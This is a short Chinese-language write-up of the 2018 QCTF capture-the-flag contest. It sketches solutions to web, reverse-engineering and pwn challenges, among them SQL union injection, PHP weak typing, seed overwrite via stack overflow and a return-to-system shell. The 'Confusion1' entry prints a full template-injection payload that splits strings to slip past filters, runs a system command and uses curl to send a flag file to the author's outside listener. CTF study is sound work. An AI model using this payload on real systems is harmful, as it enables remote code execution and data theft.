QCTF writeup

Author Avatar
Aryb1n 7月 15, 2018

第一天做了俩2re, 2pwn, 1web然后头疼就睡觉了
第二天起来比赛已经结束了..又看了俩Web…和一些逆向
虽然都是简单题…但我逆向太差了…做了挺久…而且逆完第二个就不想做了, 太弱了

Web

NewsCenter

union注入

Lottery

弱类型, 购买的时候, 把数字都改成true, true和数字弱类型比较相等, 就会返回猜对了

Confusion1

有一些过滤, ‘sys’, 管道和反引号好像过滤了, 稍微改一下就OK

http://47.96.118.255:2333/{{config['O'+'SX'].__dict__['sy'+'stem']('curl http://1xx.1xx.xx.xx:7788/$(ca'+'t /opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt)')}}

Re

Xman-babyMips

丢到jeb里看个大概, 每一位都是独立的, 就爆破一下

asong

我就是对着代码硬着逆的…不知道大佬怎么逆的

baby-re

现在看到baby就感觉…这可能是什么奇异的题目, 直觉告诉我…可能不是C/C++
丢到IDA里看了一下….函数不是一般的多…
动态链接还这么多应该就是其他语言或者用了什么框架之类的吧
看了看字符串…感觉也许是rust, 我又没学过, 我也很无奈呀

但随手敲一个答案, 连提示都没有…
扫到一个函数, 里面有32位, 猜flag是32位的, 试了一下QCTF{AAAAAAAAAAAAAAAAAAAAAAAAAA}, 出了个wrong

艰难的看了一下字符串, 正确应该是correct…但没看到, 然后gdb里search了一下, 看到了原来correct在另一个字符串后面跟着, 喵喵喵?

有些函数没法F5, 报错..call analysis failed…这个时候往往是调用时参数分析不正确, 手动把那个函数参数更改一下, 就OK

那Angr是不是能解决…

这题还开了PIE, 我不会写, 放弃了, 等看flag

ollvm

如何反混淆?
https://bbs.pediy.com/thread-217727.htm

https://security.tencent.com/index.php/blog/msg/112
这篇文章提到了一个工具..但我用不了, 会报错..

而且程序中好像还用了这个库 https://zh.wikipedia.org/wiki/GNU%E5%A4%9A%E9%87%8D%E7%B2%BE%E5%BA%A6%E8%BF%90%E7%AE%97%E5%BA%93

等WP + 1

Pwn

dice_game

栈溢出, 覆盖随机数种子为0, 然后自己生成50个结果就OK

stack2

覆盖返回地址到system, 加个参数’sh’
没有怎么调, 大概show了一下数字, 看到像是返回地址, 就覆盖试了一下, getshell
唯一的坑点在于不能直接用他的hack函数, 因为他环境里没有bash